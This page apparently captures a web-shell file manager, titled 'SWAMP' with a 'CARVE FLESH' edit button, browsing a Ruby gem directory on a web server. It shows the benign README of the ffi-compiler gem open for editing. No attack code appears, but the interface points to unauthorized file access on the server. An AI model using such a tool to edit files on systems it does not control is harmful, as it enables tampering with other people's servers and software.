░▒▓████████████████████████████████▓▒░ ░▒▓█ ▓▒░ ░▒▓█ ~ S W A M P ~ ▓▒░ ░▒▓█ ▓▒░ ░▒▓████████████████████████████████▓▒░
pplmvsvm
LOCATION:
/var/www/canvas/vendor/bundle/ruby/3.1.0/gems/ffi-compiler-1.0.1
☗ ROOT
↻ REFRESH
✎ CARVE FLESH
EDITING: README.md
[ffi-compiler](https://github.com/ffi/ffi-compiler) is a ruby library for automating compilation of native libraries for use with [ffi](https://github.com/ffi/ffi) To use, define your own ruby->native API using ffi, implement it in C, then use ffi-compiler to compile it. Example ------ ###### Directory layout lib |- example |- example.rb ext |- example.c |- Rakefile example.gemspec ###### lib/example/example.rb require 'ffi' require 'ffi-compiler/loader' module Example extend FFI::Library ffi_lib FFI::Compiler::Loader.find('example') # example function which takes no parameters and returns long attach_function :example, [], :long end ###### ext/example.c long example(void) { return 0xdeadbeef; } ###### ext/Rakefile require 'ffi-compiler/compile_task' FFI::Compiler::CompileTask.new('example') do |c| c.have_header?('stdio.h', '/usr/local/include') c.have_func?('puts') c.have_library?('z') end ###### example.gemspec Gem::Specification.new do |s| s.extensions << 'ext/Rakefile' s.name = 'example' s.version = '0.0.1' s.email = 'ffi-example' s.files = %w(example.gemspec) + Dir.glob("{lib,spec,ext}/**/*") s.add_dependency 'rake' s.add_dependency 'ffi-compiler' end ###### Build gem and install it gem build example.gemspec && gem install example-0.0.1.gem Successfully built RubyGem Name: example Version: 0.0.1 File: example-0.0.1.gem Building native extensions. This could take a while... Successfully installed example-0.0.1 ###### Test it $ irb 2.0.0dev :001 > require 'example/example' => true 2.0.0dev :002 > puts "Example.example=#{Example.example.to_s(16)}" Example.example=deadbeef => nil
CANCEL
Name
Type
Size
Modified
Actions
↩ ..
DIR
—
—
📁 lib/
DIR
—
2023-09-24 03:48
📄 ffi-compiler.gemspec
GEMSPEC
768 B
2023-09-24 03:48
EDIT
📄 Gemfile
?
38 B
2023-09-24 03:48
EDIT
📄 LICENSE
?
11.1 KB
2023-09-24 03:48
EDIT
📄 Rakefile
?
97 B
2023-09-24 03:48
EDIT
📄 README.md
MD
1.7 KB
2023-09-24 03:48
EDIT